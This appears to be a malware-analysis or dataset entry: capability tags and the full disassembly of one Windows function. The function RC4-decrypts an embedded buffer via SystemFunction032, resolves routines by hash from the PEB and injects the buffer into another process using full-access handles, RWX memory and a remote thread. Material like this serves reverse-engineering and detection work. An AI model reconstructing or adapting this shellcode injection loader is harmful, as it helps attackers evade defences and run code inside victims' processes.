Function at 0x1400012e0
Capabilities:
Access peb ldr_data
Encode data using xor
Encrypt data using rc4 via systemfunction032
Get ntdll base address

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rcx, qword [rdx + 8]
xor r12d, r12d
mov qword [rbp - 0x59], r12
mov qword [rbp - 0x49], r12
mov qword [rbp - 0x51], r12
mov qword [rbp + 0x1f], 0x116
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov dword [rbp - 0x11], 0x30
xorps xmm0, xmm0
mov qword [rbp - 9], r12
movups xmmword [rbp - 1], xmm0
mov qword [rbp - 0x19], r12
movups xmmword [rbp + 0xf], xmm0
mov eax, eax
mov qword [rbp - 0x21], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r14, qword [rcx + 0x20]
lea r15, [rcx + 0x20]
mov rdi, qword [rcx + 0x30]
cmp word [rdi + 0x48], r12w
je 0x1400013cc
mov rsi, qword [rdi + 0x50]
mov ebx, r12d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdx, eax
mov rcx, r12
test eax, eax
je 0x1400013c6
nop word [rax + rax]
movzx eax, word [rsi + rcx*2]
inc rcx
add eax, ebx
imul ebx, eax, 0x81
mov eax, ebx
shr eax, 6
xor ebx, eax
cmp rcx, rdx
jne 0x140001390
lea eax, [rbx + rbx*8]
mov ecx, eax
shr ecx, 0xb
xor ecx, eax
imul eax, ecx, 0x8001
cmp eax, 0x82acbbb8
je 0x140001469
mov rdi, qword [r14]
mov r14, rdi
cmp r14, r15
jne 0x140001366
mov rbx, r12
lea rax, [0x140005198]
mov dword [rbp - 0x41], 0xf
lea rsi, [0x140005080]
mov qword [rbp - 0x39], rax
lea rcx, str.Advapi32.dll
mov qword [rbp - 0x29], rsi
mov dword [rbp - 0x3d], 0xf
mov dword [rbp - 0x31], 0x116
mov dword [rbp - 0x2d], 0x116
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
jne 0x140001437
lea rcx, str.FAIL
call fcn.140001010
lea rdx, [rbp - 0x41]
lea rcx, [rbp - 0x31]
call rdi
test eax, eax
je 0x140001472
mov edx, eax
lea rcx, str.____Failed_With_Code:_0x_0.08
call fcn.140001010
lea rcx, str.Failed_Code
call fcn.140001010
mov eax, 1
jmp 0x140001635
mov rbx, qword [rdi + 0x20]
jmp 0x1400013d4
lea rcx, [0x1400032e0]
call fcn.140001010
lea r9, [0x1400057d0]
mov edx, 0x616bcd2b
lea r8, [0x1400057cc]
mov rcx, rbx
call fcn.140001070
lea r9, [rbp - 0x21]
mov edx, 0x1fffff
lea r8, [rbp - 0x11]
lea rcx, [rbp - 0x59]
call fcn.140001660
test eax, eax
je 0x1400014c9
lea rcx, str.Open_Failed
call fcn.140001010
mov eax, 1
jmp 0x140001635
mov rdx, qword [rbp - 0x59]
lea rcx, str.___Handle:_0x_p_n_n
call fcn.140001010
lea r9, [0x1400057f8]
mov edx, 0xb4983c2f
lea r8, [0x1400057d8]
mov rcx, rbx
call fcn.140001070
mov rcx, qword [rbp - 0x59]
lea r9, [rbp + 0x1f]
xor r8d, r8d
mov dword [rsp + 0x28], 0x40
lea rdx, [rbp - 0x51]
mov dword [rsp + 0x20], 0x3000
call fcn.140001670
test eax, eax
je 0x140001532
lea rcx, str.Allocate_Failed
call fcn.140001010
mov eax, 1
jmp 0x140001635
mov rdx, qword [rbp - 0x51]
lea rcx, str.___Buffer:_0x_p_n_n_n
call fcn.140001010
lea r9, [0x1400057e0]
mov edx, 0x92a7f011
lea r8, [0x1400057c0]
mov rcx, rbx
call fcn.140001070
mov r9, qword [rbp + 0x1f]
mov r8, rsi
mov rdx, qword [rbp - 0x51]
mov rcx, qword [rbp - 0x59]
mov qword [rsp + 0x20], r12
call fcn.140001680
test eax, eax
je 0x140001590
lea rcx, str.Write_Failed
call fcn.140001010
mov eax, 1
jmp 0x140001635
mov rdx, qword [rbp + 0x1f]
lea rcx, str.___Wrote__d_Bytes_Into_Buffer_n_n_n
call fcn.140001010
lea r9, [0x1400057b8]
mov edx, 0x3c2d6449
lea r8, [0x1400057e8]
mov rcx, rbx
call fcn.140001070
mov rax, qword [rbp - 0x51]
lea r8, [rbp - 0x11]
mov r9, qword [rbp - 0x59]
lea rcx, [rbp - 0x49]
mov qword [rsp + 0x50], r12
mov edx, 0x1fffff
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rax
call fcn.140001690
test eax, eax
je 0x14000160f
lea rcx, str.Thread_Failed
call fcn.140001010
mov eax, 1
jmp 0x140001635
mov rdx, qword [rbp - 0x49]
lea rcx, str.___Thread:_0x_p_n_n_n
call fcn.140001010
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.1400016d0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret